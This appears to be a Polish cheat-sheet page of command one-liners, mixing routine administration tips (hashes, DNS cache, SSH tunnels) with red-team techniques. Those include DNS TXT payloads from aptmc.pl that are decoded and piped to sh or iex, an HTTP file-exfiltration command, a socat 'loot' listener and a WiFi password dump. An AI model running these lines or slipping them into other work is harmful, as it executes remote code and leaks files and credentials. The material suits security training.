Get-FileHash c:\Windows\System32\cmd.exe - wyświetl hash SHA256 pliku
Get-FileHash c:\Windows\System32\cmd.exe - wyświetl hash SHA256 plikuGet-FileHash c:\Windows\System32\cmd.exeCzytaj całość ↵Źródło — otwiera w nowej karcie
PowerShell
WIEDZA Z SIECI
Protipy
PowerShell
Get-DnsClientCache|select data,entry|fl - pokaż cache DNS
Get-DnsClientCache|select data,entry|fl - pokaż cache DNSGet-DnsClientCache|select data,entry|flCzytaj całość ↵Źródło — otwiera w nowej karcie
Bash / Unix
ssh -L 8080:intranet:80 aptm.in - tuneluj intranet:80 dostępny z aptm.in do localhost:8080
ssh -L 8080:intranet:80 aptm.in - tuneluj intranet:80 dostępny z aptm.in do localhost:8080ssh -L 8080:intranet:80 aptm.inCzytaj całość ↵Źródło — otwiera w nowej karcie
Bash / Unix
ssh -R :8080:localhost:80 aptm.in - udostępnij lokalny port 80 na aptm.in:8080
ssh -R :8080:localhost:80 aptm.in - udostępnij lokalny port 80 na aptm.in:8080ssh -R :8080:localhost:80 aptm.inCzytaj całość ↵Źródło — otwiera w nowej karcie
Windows
Uruchom autoruns.exe prosto z linii poleceń: \\live.sysinternals.com\tools\autoruns.exe i zobacz co startuje
Uruchom autoruns.exe prosto z linii poleceń: \\live.sysinternals.com\tools\autoruns.exe i zobacz co startujeautoruns.exeCzytaj całość ↵Źródło — otwiera w nowej karcie
Bash / Unix
Payload DNS-over-HTTPS dla *nixów
Payload DNS-over-HTTPS dla *nixów: curl -ks "https://dns.google/resolve?name=echo.aptmc.pl&type=txt"|jq '.Answer[0].data'|tr -d '"\'|base64 -d|shcurl -ks "https://dns.google/resolve?name=echo.aptmc.pl&type=txt"|jq '.Answer[0].data'|tr -d '"\'|base64 -d|shCzytaj całość ↵Źródło — otwiera w nowej karcie
PowerShell
Infiltracja po DNS-over-HTTPS
Infiltracja po DNS-over-HTTPS: (irm "https://dns.google/resolve?name=calc.aptmc.pl&type=txt").answer.data|iex|iex(irm "https://dns.google/resolve?name=calc.aptmc.pl&type=txt").answer.data|iex|iexCzytaj całość ↵Źródło — otwiera w nowej karcie
PowerShell
ps|gm - dzięki Get-Member (gm) poznasz co ma do zaoferowania zwracany obiekt
ps|gm - dzięki Get-Member (gm) poznasz co ma do zaoferowania zwracany obiektps|gmCzytaj całość ↵Źródło — otwiera w nowej karcie
Bash / Unix
host -t txt echo.aptmc.pl|awk -F'"' '{ print $2 }'|openssl base64 -d|sh - uruchom payload z DNS na *nixach
host -t txt echo.aptmc.pl|awk -F'"' '{ print $2 }'|openssl base64 -d|sh - uruchom payload z DNS na *nixachhost -t txt echo.aptmc.pl|awk -F'"' '{ print $2 }'|openssl base64 -d|shCzytaj całość ↵Źródło — otwiera w nowej karciePowerShell
Pobierz i uruchom payload po DNS
Pobierz i uruchom payload po DNS: [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String((Resolve-DnsName -Type TXT msg.aptmc.pl).strings))|iex[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String((Resolve-DnsName -Type TXT msg.aptmc.pl).strings))|iexCzytaj całość ↵Źródło — otwiera w nowej karcie
Docker
docker run -p 8080:8080 remnux/cyberchef - własna instancja CyberChefa na porcie 8080
docker run -p 8080:8080 remnux/cyberchef - własna instancja CyberChefa na porcie 8080docker run -p 8080:8080 remnux/cyberchefCzytaj całość ↵Źródło — otwiera w nowej karcie
Bash / Unix
socat -T 7 TCP-LISTEN:2048,pktinfo,fork,reuseaddr SYSTEM:'cat > loots/tcp/$SOCAT_PEERADDR.$$.txt' - uniwersalny listener
socat -T 7 TCP-LISTEN:2048,pktinfo,fork,reuseaddr SYSTEM:'cat > loots/tcp/$SOCAT_PEERADDR.$$.txt' - uniwersalny listenersocat -T 7 TCP-LISTEN:2048,pktinfo,fork,reuseaddr SYSTEM:'cat > loots/tcp/$SOCAT_PEERADDR.$$.txt'Czytaj całość ↵Źródło — otwiera w nowej karcie
PowerShell
Szybka eksfiltracja pliku po HTTP
Szybka eksfiltracja pliku po HTTP: iwr -me po -i <plik> http://<host:port>iwr -me po -i <plik> http://<host:port>Czytaj całość ↵Źródło — otwiera w nowej karcie
PowerShell
cat (Get-PSReadLineOption).HistorySavePath - wyświetl historię poleceń Powershella
cat (Get-PSReadLineOption).HistorySavePath - wyświetl historię poleceń Powershellacat (Get-PSReadLineOption).HistorySavePathCzytaj całość ↵Źródło — otwiera w nowej karcie
Windows
Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0; Start-Service sshd - serwer ssh na Windowsie
Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0; Start-Service sshd - serwer ssh na WindowsieAdd-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0; Start-Service sshdCzytaj całość ↵Źródło — otwiera w nowej karcie
Bash / Unix
ssh -D 2048 user@host - wykorzystaj zdalny host ssh jako szyfrowane proxy
ssh -D 2048 user@host - wykorzystaj zdalny host ssh jako szyfrowane proxyssh -D 2048 user@hostCzytaj całość ↵Źródło — otwiera w nowej karcie
PowerShell
(netsh wlan show profiles)|%{$n=(""+($_ -split ":")[1]).trim(); netsh wlan show profile name="$n" key=clear}|sls "Key Content","SSID name" - hasła WiFi na tacy
(netsh wlan show profiles)|%{$n=(""+($_ -split ":")[1]).trim(); netsh wlan show profile name="$n" key=clear}|sls "Key Content","SSID name" - hasła WiFi na tacy(netsh wlan show profiles)|%{$n=(""+($_ -split ":")[1]).trim(); netsh wlan show profile name="$n" key=clear}|sls "Key Content","SSID name"Czytaj całość ↵Źródło — otwiera w nowej karcieWindows
whoami /all - coś więcej niż gołe whoami
whoami /all - coś więcej niż gołe whoamiwhoami /allCzytaj całość ↵Źródło — otwiera w nowej karcie
PowerShell
ps | Out-GridView - i życie staje się wygodniejsze
ps | Out-GridView - i życie staje się wygodniejszeps | Out-GridViewCzytaj całość ↵Źródło — otwiera w nowej karcie
Bash / Unix
socat TCP-LISTEN:2048,fork,reuseaddr STDIO - obsłuż wielu klientów na porcie 2048
socat TCP-LISTEN:2048,fork,reuseaddr STDIO - obsłuż wielu klientów na porcie 2048socat TCP-LISTEN:2048,fork,reuseaddr STDIOCzytaj całość ↵Źródło — otwiera w nowej karcie